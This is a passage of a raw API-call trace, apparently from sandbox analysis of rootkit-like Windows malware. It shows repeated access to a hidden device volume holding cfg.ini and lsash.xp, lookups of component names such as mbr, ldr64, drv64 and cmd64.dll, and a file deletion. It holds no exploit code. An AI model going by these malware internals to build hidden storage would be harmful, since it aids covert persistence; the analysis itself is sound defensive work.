[0119.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.716] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.716] IdePortDispatch () returned 0x103 [0119.716] KeWaitForMutexObject () returned 0x0 [0119.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.717] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.717] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca560 [0119.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] KeLeaveCriticalRegion () [0119.717] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.717] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.717] KeEnterCriticalRegion () [0119.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] KeLeaveCriticalRegion () [0119.717] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.717] KeEnterCriticalRegion () [0119.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.717] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.717] IdePortDispatch () returned 0x103 [0119.717] KeWaitForMutexObject () returned 0x0 [0119.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] KeLeaveCriticalRegion () [0119.717] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.717] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.717] KeEnterCriticalRegion () [0119.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348c000 [0119.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.717] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.718] IdePortDispatch () returned 0x103 [0119.718] KeWaitForMutexObject () returned 0x0 [0119.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.718] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.718] IdePortDispatch () returned 0x103 [0119.718] KeWaitForMutexObject () returned 0x0 [0119.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.718] KeLeaveCriticalRegion () [0119.718] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.718] KeEnterCriticalRegion () [0119.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] KeLeaveCriticalRegion () [0119.719] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.719] KeEnterCriticalRegion () [0119.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.719] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] KeLeaveCriticalRegion () [0119.719] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.719] KeEnterCriticalRegion () [0119.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] ExFreePoolWithTag (P=0xfffffa8003bca560, Tag=0x0) [0119.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] KeLeaveCriticalRegion () [0119.719] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.719] ReleaseMutex (hMutex=0xf0) returned 1 [0119.719] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.719] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.719] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.719] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.719] KeEnterCriticalRegion () [0119.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.719] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.719] IdePortDispatch () returned 0x103 [0119.719] KeWaitForMutexObject () returned 0x0 [0119.719] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.719] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.719] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.719] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.719] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.719] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.720] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.720] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.720] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.720] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.720] KeLeaveCriticalRegion () [0119.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.720] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.720] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.720] KeEnterCriticalRegion () [0119.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.720] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.720] IdePortDispatch () returned 0x103 [0119.720] KeWaitForMutexObject () returned 0x0 [0119.720] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.720] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.720] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.720] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.720] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.720] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.720] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.720] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.720] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.720] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.720] KeLeaveCriticalRegion () [0119.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.721] ReleaseMutex (hMutex=0x100) returned 1 [0119.721] Sleep (dwMilliseconds=0x2bf20) [0119.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a8f70f0, dwHighDateTime=0x1d24fa4)) [0119.728] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.728] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.728] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.728] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.728] KeEnterCriticalRegion () [0119.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.728] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.728] IdePortDispatch () returned 0x103 [0119.728] KeWaitForMutexObject () returned 0x0 [0119.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.729] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.729] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.729] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.729] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.729] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bccd10 [0119.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] KeLeaveCriticalRegion () [0119.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.729] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.729] KeEnterCriticalRegion () [0119.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] KeLeaveCriticalRegion () [0119.729] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.729] KeEnterCriticalRegion () [0119.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.729] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.729] IdePortDispatch () returned 0x103 [0119.729] KeWaitForMutexObject () returned 0x0 [0119.729] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] KeLeaveCriticalRegion () [0119.729] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.729] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.729] KeEnterCriticalRegion () [0119.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.729] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348f000 [0119.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.730] IdePortDispatch () returned 0x103 [0119.730] KeWaitForMutexObject () returned 0x0 [0119.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.730] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.730] IdePortDispatch () returned 0x103 [0119.730] KeWaitForMutexObject () returned 0x0 [0119.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.730] KeLeaveCriticalRegion () [0119.730] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.731] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.731] KeEnterCriticalRegion () [0119.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] KeLeaveCriticalRegion () [0119.731] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.731] KeEnterCriticalRegion () [0119.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.731] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] KeLeaveCriticalRegion () [0119.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.731] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.731] KeEnterCriticalRegion () [0119.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] ExFreePoolWithTag (P=0xfffffa8003bccd10, Tag=0x0) [0119.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] KeLeaveCriticalRegion () [0119.731] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.731] ReleaseMutex (hMutex=0xf0) returned 1 [0119.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.731] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.731] KeEnterCriticalRegion () [0119.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.731] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.731] IdePortDispatch () returned 0x103 [0119.731] KeWaitForMutexObject () returned 0x0 [0119.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcaeb0 [0119.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] KeLeaveCriticalRegion () [0119.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.732] KeEnterCriticalRegion () [0119.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] KeLeaveCriticalRegion () [0119.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.732] KeEnterCriticalRegion () [0119.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.732] IdePortDispatch () returned 0x103 [0119.732] KeWaitForMutexObject () returned 0x0 [0119.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] KeLeaveCriticalRegion () [0119.732] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.732] KeEnterCriticalRegion () [0119.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003490000 [0119.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.733] IdePortDispatch () returned 0x103 [0119.733] KeWaitForMutexObject () returned 0x0 [0119.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.733] 